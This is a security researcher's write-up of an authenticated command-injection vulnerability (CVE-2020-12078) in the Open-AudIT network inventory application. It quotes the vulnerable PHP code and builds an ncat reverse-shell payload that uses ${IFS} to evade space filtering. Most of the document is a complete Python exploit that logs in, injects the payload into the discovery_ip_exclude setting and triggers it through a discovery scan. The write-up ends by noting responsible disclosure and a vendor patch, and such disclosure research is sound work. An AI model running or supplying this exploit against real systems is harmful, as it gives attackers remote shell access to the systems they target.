Summary of Open-AudIT
Open-AudIT is a network inventory application that tells you exactly what is on your network, how it is configured, and when it changes. Open-AudIT runs on Windows and Linux systems. It essentially acts as a database that can be queried through a web interface. The data that is stored and presented is collected by running scripts on each computer. On Linux, these scripts are written in Bash, and on Windows they are written in VBScript. The entire application is written in PHP, bash and VBScript, all of which are interpreted languages allowing for easy customization.
About the exploit
While I was doing static code analysis on this application, I wrote a small script to search for dangerous functions in the whole codebase to find out which files use functions like exec(), system(), passthru(), etc.
After running the script, I got an interesting result in a file called discoveries_helper.php:
if ( ! empty($discovery->attributes->other->nmap->exclude_ip)) {
$command = 'nmap -n -sL --exclude ' . $discovery->attributes->other->nmap->exclude_ip . ' ' . $discovery->attributes->other->subnet;
} else {
$command = 'nmap -n -sL ' . $discovery->attributes->other->subnet;
}
if (php_uname('s') === 'Darwin') {
$command = '/usr/local/bin/' . $command;
}
$log->command = $command;
exec($command, $output, $return_var);
if ($return_var === 0) {
foreach ($output as $line) {
if (stripos($line, 'Nmap scan report for') === 0) {
$temp = explode(' ', $line);
$ip_addresses[] = $temp[4];
}
}
}
As we can see in line #86, a variable called $command passed to the exec function. And the $command variable is a concatenation of the nmap path, nmap options, and a variable called exclude_ip which comes from the discovery options that we can control as an authenticated user.
This means that an authenticated user can set the “excluded IP” option to anything without any type of filtering, and the value will be passed to the exec() function. But first, the application uses a pre-installed software called Nmap to perform a network discovery to discover live hosts, so the user has to run a discovery scan to trigger the exec function.
To know actually how the exclude_ip variable is handled, we have to take a look at the following code:
if ( ! empty($CI->config->config['discovery_ip_exclude'])) {
// Account for users adding multiple spaces which would be converted to multiple comma's.
$exclude_ip = preg_replace('!\\s+!', ' ', $CI->config->config['discovery_ip_exclude']);
// Convert spaces to comma's
$exclude_ip = str_replace(' ', ',', $exclude_ip);
if ( ! empty($discovery->attributes->other->nmap->exclude_ip)) {
$discovery->attributes->other->nmap->exclude_ip .= ',' . $exclude_ip;
} else {
$discovery->attributes->other->nmap->exclude_ip = $exclude_ip;
}
}
This code will get the value of the discovery_ip_exclude option from the global configuration, then it will replace any spaces with commas. This means that we cannot use spaces in our payload because any space will be replaced with a comma.
The discovery_ip_exclude configuration is accessible at:
http://[IP]/en/omk/open-audit/configuration?configuration.name=likediscovery_

An authenticated user can change this option through the web interface.

Payload Writing
Since any space will be replaced with a comma as we saw, we have to find another alternative to use instead of spaces. In bash, we can use ${IFS} which stands for Internal Field Separator, which is a space by default.
I will try that with a reverse shell using Netcat to get the following:
;ncat${IFS}-e${IFS}/bin/bash${IFS}10.0.0.1${IFS}1337${IFS};
We escaped the command using semicolons, we replaced the space with ${IFS}, and we used ncat to get a reverse shell on the target.
So the exploitation steps are:
- Change the global setting
discovery_ip_excludeto the malicious payload - Create a new discovery scan
- Start the discovery scan to trigger the nmap execution with the injected command




Exploit Writing
And here is the final code:
#!/usr/bin/python3
# Exploit Title: Open-AudIT v3.3.1 Professional Remote Code Execution
# Date: 22/04/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-12078
# Vendor Homepage: https://opmantek.com/
# Version: v3.3.1
# Tested on: Ubuntu 18.04 / PHP 7.2.24
import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print("[~] Usage : ./openaudit-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
def inject_payload():
configuration_path = url+"/en/omk/open-audit/configuration/90"
data = 'data={"data":{"id":"90","type":"configuration","attributes":{"value":";ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};"}}}' % (ip, port)
request.patch(configuration_path, data)
print("[+] Payload injected in settings")
def start_discovery():
discovery_path = url+"/en/omk/open-audit/discoveries/create"
post_discovery_path = url+"/en/omk/open-audit/discoveries"
scan_name = "".join([random.choice(string.ascii_uppercase) for i in range(10)])
req = request.get(discovery_path)
response = req.text
soup = BeautifulSoup(response, "html5lib")
token = soup.findAll('input')[5].get("value")
buttons = soup.findAll("button")
headers = {"Referer" : discovery_path}
request_data = {
"data[attributes][name]":scan_name,
"data[attributes][other][subnet]":"10.10.10.1/24",
"data[attributes][other][ad_server]":"",
"data[attributes][other][ad_domain]":"",
"submit":"",
"data[type]":"discoveries",
"data[access_token]":token,
"data[attributes][complete]":"y",
"data[attributes][org_id]":"1",
"data[attributes][type]":"subnet",
"data[attributes][devices_assigned_to_org]":"",
"data[attributes][devices_assigned_to_location]":"",
"data[attributes][other][nmap][discovery_scan_option_id]":"1",
"data[attributes][other][nmap][ping]":"y",
"data[attributes][other][nmap][service_version]":"n",
"data[attributes][other][nmap][open|filtered]":"n",
"data[attributes][other][nmap][filtered]":"n",
"data[attributes][other][nmap][timing]":"4",
"data[attributes][other][nmap][nmap_tcp_ports]":"0",
"data[attributes][other][nmap][nmap_udp_ports]":"0",
"data[attributes][other][nmap][tcp_ports]":"22,135,62078",
"data[attributes][other][nmap][udp_ports]":"161",
"data[attributes][other][nmap][timeout]":"",
"data[attributes][other][nmap][exclude_tcp_ports]":"",
"data[attributes][other][nmap][exclude_udp_ports]":"",
"data[attributes][other][nmap][exclude_ip]":"",
"data[attributes][other][nmap][ssh_ports]":"22",
"data[attributes][other][match][match_dbus]":"",
"data[attributes][other][match][match_fqdn]":"",
"data[attributes][other][match][match_dns_fqdn]":"",
"data[attributes][other][match][match_dns_hostname]":"",
"data[attributes][other][match][match_hostname]":"",
"data[attributes][other][match][match_hostname_dbus]":"",
"data[attributes][other][match][match_hostname_serial]":"",
"data[attributes][other][match][match_hostname_uuid]":"",
"data[attributes][other][match][match_ip]":"",
"data[attributes][other][match][match_ip_no_data]":"",
"data[attributes][other][match][match_mac]":"",
"data[attributes][other][match][match_mac_vmware]":"",
"data[attributes][other][match][match_serial]":"",
"data[attributes][other][match][match_serial_type]":"",
"data[attributes][other][match][match_sysname]":"",
"data[attributes][other][match][match_sysname_serial]":"",
"data[attributes][other][match][match_uuid]":""
}
print("[+] Creating discovery ..")
req = request.post(post_discovery_path, data=request_data, headers=headers, allow_redirects=False)
disocvery_url = url + req.headers['Location'] + "/execute"
print("[+] Triggering payload ..")
print("[+] Check your nc ;)")
request.get(disocvery_url)
def login():
login_info = {
"redirect_url": "/en/omk/open-audit",
"username": username,
"password": password
}
login_request = request.post(url+"/en/omk/open-audit/login", login_info)
login_text = login_request.text
if "There was an error authenticating" in login_text:
return False
else:
return True
if login():
print("[+] LoggedIn Successfully")
inject_payload()
start_discovery()
else:
print("[-] Cannot login!")
The exploit script handles:
- User authentication to the target application
- Payload injection via PATCH request to modify the
discovery_ip_excludeconfiguration - CSRF token retrieval from the discovery creation page
- Discovery scan creation with a randomized scan name
- Automatic payload triggering by executing the discovery scan
And after running the exploit code, we will get a reverse shell on the target system.
Vulnerability Disclosure
The vulnerability was disclosed responsibly to the Opmantek development team. They acknowledged the issue and implemented a patch to address it. The fix is available in the official repository.
This vulnerability affects both Windows and Linux versions of Open-AudIT. Authentication is required to exploit the vulnerability, as the attacker needs access to modify the global configuration settings and create discovery scans.